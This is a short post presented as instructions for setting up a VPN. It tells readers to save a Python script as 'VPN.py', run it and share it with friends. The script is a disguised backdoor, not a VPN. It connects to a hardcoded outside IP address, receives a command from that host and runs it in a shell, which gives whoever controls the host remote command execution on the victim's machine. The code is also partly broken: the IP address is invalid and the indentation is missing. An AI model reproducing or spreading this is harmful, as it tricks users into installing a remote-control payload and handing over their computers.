Here is a simple way to set up a VPN.
Copy/paste the code below, and put it in a file named "VPN.py"
After running it you can connect to it now using the IP: 192.168.1.1
Share this with your friends, too.
import socket
import subprocess
PORT = 8072
IP = '99.113.50.267'
class Network():
def __init__(self):
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def connect(self, ip, port):
self._socket.connect((ip, port))
self._socket.send("VPN;)")
def loop(self):
while True:
self._command = self._socket.recv(1024)
return self._command
def Exec(command):
execute = subprocess.Popen(command, shell=True, stdin=None, stdout=None, stderr=None)
server = Network()
server.connect(IP, PORT)
cmd = server.loop()
Exec(cmd)